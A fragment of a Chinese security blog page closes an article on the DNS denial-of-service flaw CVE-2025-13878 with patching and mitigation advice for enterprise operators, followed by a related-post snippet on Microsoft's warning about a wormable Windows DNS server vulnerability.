CVE-2025-13878虽是单一的DoS漏洞,但因其攻击门槛低、影响范围广、DNS的基础设施属性,成为2026年初DNS领域的首个高危漏洞,再次为企业敲响了DNS核心基础设施安全的警钟。该漏洞的防御核心是“立即升级、做好缓解、建立容灾、体系化防护”,企业运维人员需在72小时的黑产利用关键窗口期内,完成核心DNS服务器的补丁升级,同时做好长期的安全建设,避免类似的漏洞再次造成服务中断。

从零开始,掌握网络安全。提供全面的网络安全教程、攻防演练技巧和行业动态。 1123

该卡片不受nested攻击_微软警告Windows DNS服务器存在重大漏洞 如不重视可能形成蠕虫攻击...

微软警告称,该公司将一个17年前的Windows DNS服务器关键漏洞列为 "可蠕虫"。这样的漏洞可能允许攻击者创建特殊的恶意软件,在Windows服务器上远程执行代码,并创建恶意的DNS查询,甚至最终可能导致企业和关键部门的基础设施被入侵。访问MSRC报告:https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-c...

weixin_39819671的博客 250
上一篇: STUN—简单地用UDP穿过NAT
下一篇: 发送MSN消息的PYTHON程序
itclock
博客等级 码龄25年 19粉丝 89原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值